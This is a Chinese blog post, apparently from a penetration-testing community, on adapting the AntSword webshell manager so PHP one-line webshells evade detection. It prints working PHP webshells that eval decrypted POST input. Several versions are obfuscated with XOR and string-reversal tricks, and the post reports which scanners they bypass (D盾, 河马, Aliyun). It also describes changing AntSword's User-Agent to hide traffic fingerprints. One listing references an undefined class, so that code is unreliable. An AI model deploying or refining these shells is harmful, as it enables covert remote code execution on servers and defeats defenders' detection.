php_webshell免杀--从0改造你的AntSword
本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html
0x00 前言:
为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。
但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。
0x01 蚁剑介绍及其改编
关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。
但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。
蚁剑默认流量
返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。
默认的base64编码器
但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。
去github上找到蚁剑的编码器和对应的解码器
github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php
这⾥下载默认的aes128的默认流量。
这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。
<?php@session_start();$pwd='ant';$key=@substr(str_pad(session_id(),16,'a'),0,16);@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?>
默认webshell讲解
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd
再D盾,河⻢和阿⾥云进⾏扫描:
河⻢没有查出来,可能是⽐较弱
阿⾥云直接报恶意
初步修改后的webshell:
这⾥先做代码修改,直接放出我修改之后的webshell代码。
<?php@session_start();error_reporting(E_ALL^E_NOTICE^E_WARNING);function decode($key,$data){$data_new = '';for($i=0;$i<=strlen($data);$i++){$b=$data[$i]^$key;$data_new = $data_new.urldecode($b);}define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');return $data_new;}function decrypto($key,$data){$data = base64_decode($data);$result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');$ass=ass;$ass(ev);}class run{public $data;public function __construct(){$this->data = '#````````#'.$_POST[1]."#`#`#";$this->data = $this->data."123456";}}$key=@substr(str_pad(session_id(),16,'a'),0,16);$run = new run();decrypto($key,$run->data);?>
这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。
所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)
混淆之后的webshell:
这⾥提供php在线加密的站 : https://enphp.djunny.com/
这⾥加密之后⽣成webshell。如下:
<?php
function decrypto($key, $data) {$data = base64_decode($data);$result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}function decode($key, $data) {$data_new = '';for ($i = 0; $i < strlen($data); $i++) {$b = $data[$i] ^ $key;$data_new .= urldecode($b);}return $data_new;
}session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>
经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。
已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。
从流量加密来分析的话,已经能绕过态势感知和全流量分析机。
蚁剑UA头的修改:
在burp的数据包中能清楚的看到蚁剑的特征
在目录/modules/request.js文件中修改UA头
/modules/update.js文件修改
0x02 总结
关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。